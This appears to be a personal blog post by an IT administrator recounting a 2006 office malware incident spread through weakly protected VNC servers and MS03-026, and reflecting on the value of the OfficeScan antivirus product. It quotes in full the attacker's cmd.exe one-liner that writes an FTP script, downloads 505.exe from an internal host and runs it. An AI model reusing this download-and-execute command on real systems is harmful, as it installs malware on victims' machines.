20061103 這一天開始發難，首先是網路變慢內部專線的部份，
然後有裝VNC server 的同事開始會有了以下的怪事發生
- VNC Server開始有人登入 password = 1234 ←這樣很危險
- VNC 登入後會開始執行，開始→執行→塞下面的值到執行裡面
- cmd.exe /c del i&echo open 192.168.1.96 14699 > i&echo user 1 1 >> i &echo get 505.exe >> i &echo quit >> i &ftp -n -s:i &505.exe&del i&exit
- 然後就如上列命令所示，開始透過 ftp的方式向192.168.1.96這老兄下載505.exe
我就狠下了心將 OfficeScan 給 Uninstall & 拔掉網路線
裝上了讓我比較放心的 "卡巴司機" 掃了一下，
果然中了一點毒，但是事情並沒有這樣就結束了，
反而大家都開始跟你抱怨網路變慢了，這下子我真的是有點慌了，
所以用Sniffer 嗅了一下，發覺好像看不大懂嗅到的資料，
開始想...如果我沒有手賤把proxy2弄掛至少可以有Ntop可以看...Orz
這時沒有東西可以讓我參考，
所以就有點心不甘情不願的去officeScan Server
匯集了各個Client的FW log看了一下...
豁然開朗 MS03-26就這樣出現在我面前，讓我有了目標可以去追... ...
故事大概是這樣了，這個故事是要告訴熱血阿益，
別小看 officeScan，雖然他真的沒有 卡巴司機 那麼猛，
但Trend會推出這樣的商品必定會有不同的附加價值及他存在的必要。
結論就是，officeScan他算是一把可以用的折凳所以別小看他，
System Cleaner 這個工具也是有用的但是必須在安全模式下使用，
一樣是一把好折凳...
